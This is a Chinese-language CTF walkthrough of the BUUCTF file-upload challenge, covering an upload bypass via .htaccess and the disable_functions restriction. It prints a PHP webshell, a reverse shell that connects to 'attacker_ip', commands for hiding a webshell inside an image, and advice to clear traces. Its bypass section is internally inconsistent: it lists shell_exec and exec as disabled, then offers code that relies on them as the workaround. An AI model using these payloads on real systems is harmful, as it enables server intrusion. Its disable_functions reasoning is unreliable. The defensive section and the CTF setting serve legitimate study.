从‘你传你[特殊字符]呢’到拿下Flag:BUUCTF文件上传靶场实战复盘(含.htaccess绕过技巧)
从困惑到突破:BUUCTF文件上传靶场深度实战解析
第一次看到这个靶场题目时,我忍不住笑出了声——"你传你🐎呢"这种命名方式在CTF比赛中确实少见。但很快,笑容就凝固在了脸上,因为上传一个普通图片文件居然直接报错了。这种"开局即卡住"的体验,相信很多CTF新手都深有体会。本文将详细记录我从完全摸不着头脑到最终拿下Flag的全过程,特别聚焦于.htaccess文件的巧妙应用和disable_function环境下的应对策略。
1. 初探靶场环境与基础限制分析
靶场界面极为简洁,只有一个文件上传表单。我的第一反应是上传一个普通的PNG图片进行测试,没想到直接返回了错误提示。经过多次尝试和对比其他选手的Writeup,终于发现了问题所在——文件大小限制。
这里有几个关键发现点:
- 服务器对上传文件的大小有严格限制(后来测试发现上限约10KB)
- 即使符合大小的图片,也可能因MIME类型不正确被拒绝
- 必须同时满足:小体积+正确MIME类型才能通过基础验证
常见图片格式的MIME类型对照表:
| 文件类型 | 正确MIME类型 | 常见错误MIME |
|---|---|---|
| JPEG | image/jpeg | image/jpg |
| PNG | image/png | image/x-png |
| GIF | image/gif | application/octet-stream |
提示:现代浏览器通常会正确设置MIME类型,但用Burp Suite等工具手动测试时需特别注意此项
2. 突破文件类型黑名单限制
当成功上传普通图片后,接下来自然要尝试上传PHP webshell。但很快发现:
- 所有
ph开头的后缀都被禁止(如.php, .php3, .php5等) - 常见的截断绕过(%00, 空格等)在Linux环境下无效
- 服务器配置不允许
.user.ini文件生效
此时常规思路是使用图片马+文件包含漏洞,但目标系统恰巧没有文件包含点。这就是为什么.htaccess文件成为关键突破口。
3. .htaccess文件的魔法应用
Apache服务器的.htaccess文件是一个分布式配置文件,能够覆盖主服务器的配置。在这个靶场中,我们可以利用它实现两个重要功能:
- 将特定文件类型当作PHP解析
- 自定义上传目录的执行权限
生效的.htaccess文件内容示例:
AddType application/x-httpd-php .abc SetHandler application/x-httpd-php这段配置意味着:
- 任何扩展名为
.abc的文件都会被当作PHP执行 - 即使上传的是图片马,只要重命名为
.abc后缀就能获得代码执行能力
实际操作步骤:
- 先上传包含上述内容的
.htaccess文件(需确保MIME类型为text/plain) - 然后上传图片马,保存为
shell.abc - 访问
shell.abc即可触发代码执行
注意:某些服务器可能会限制.htaccess的覆盖能力,需要实际测试确认
4. 突破disable_function限制的技巧
成功执行PHP代码只是第一步,很快发现系统禁用了大多数危险函数:
// 典型被禁用的函数列表 system, exec, passthru, shell_exec, popen, proc_open,...在这种情况下,我们需要使用替代方案获取完整Shell:
方案一:Webshell连接
// 简易webshell示例 $cmd = $_GET['cmd']; echo "<pre>".shell_exec($cmd)."</pre>";方案二:PHP内置函数迂回
// 使用未被禁用的函数读取文件 highlight_file('/flag'); // 或者目录遍历 print_r(scandir('/'));方案三:反弹Shell构造
// 使用fsockopen实现反弹Shell $sock = fsockopen("attacker_ip", port); exec("/bin/sh -i <&3 >&3 2>&3");在实际操作中,我最终采用了方案一和方案三的组合,先确认flag位置,再建立稳定连接进行深度探索。
5. 完整攻击链的实战复盘
让我们梳理整个渗透流程的关键节点:
信息收集阶段
- 确认文件上传功能的存在
- 测试基础限制(大小、类型、扩展名)
限制突破阶段
- 绕过MIME类型检测
- 使用.htaccess文件覆盖解析规则
- 制作符合要求的图片马
权限提升阶段
- 绕过disable_function限制
- 定位flag文件位置
- 获取完整系统访问权限
后渗透阶段
- 清理痕迹(删除上传文件)
- 记录完整攻击路径
典型图片马制作命令:
# 使用copy命令合并图片与webshell(Windows) copy normal.jpg /b + shell.php /a target.jpg # 使用cat命令合并(Linux) cat image.jpg shell.php > final.jpg6. 防御视角的思考与建议
站在防守方角度,如何防范此类攻击?以下是一些实用建议:
输入验证多层化
- 文件内容检测(而不仅是扩展名)
- 使用文件头签名验证真实类型
服务器配置加固
- 限制.htaccess文件的覆盖能力
- 上传目录设置为不可执行
权限最小化原则
- 上传文件重命名(避免用户控制扩展名)
- 存储在非Web可访问目录
日志监控
- 记录所有上传行为
- 监控异常解析请求
在一次真实渗透测试中,我发现目标网站虽然限制了文件上传类型,但由于未禁用.htaccess覆盖,导致可以通过类似手法获取服务器权限。这提醒我们安全防护需要全面考虑各个环节。
7. 延伸学习与资源推荐
想要深入掌握文件上传漏洞,建议从以下几个方向继续探索:
不同服务器环境的差异
- Apache与Nginx的解析差异
- IIS特有的解析特性(如PUT方法利用)
高级绕过技巧
- 条件竞争漏洞利用
- 二次渲染绕过
- 特殊字符截断技术
防御技术研究
- WAF规则分析与绕过
- 机器学习检测恶意文件
推荐几个实用资源:
- OWASP文件上传防护指南
- 《Web Application Hackers Handbook》相关章节
- CTF比赛中经典文件上传题目合集
在最近参加的另外几场CTF比赛中,我发现文件上传类题目往往会结合其他漏洞形成连锁攻击链。比如先通过文件上传获取有限权限,再结合XXE或反序列化漏洞提升至root权限。这种多阶段攻击方式在实际渗透测试中也非常常见。
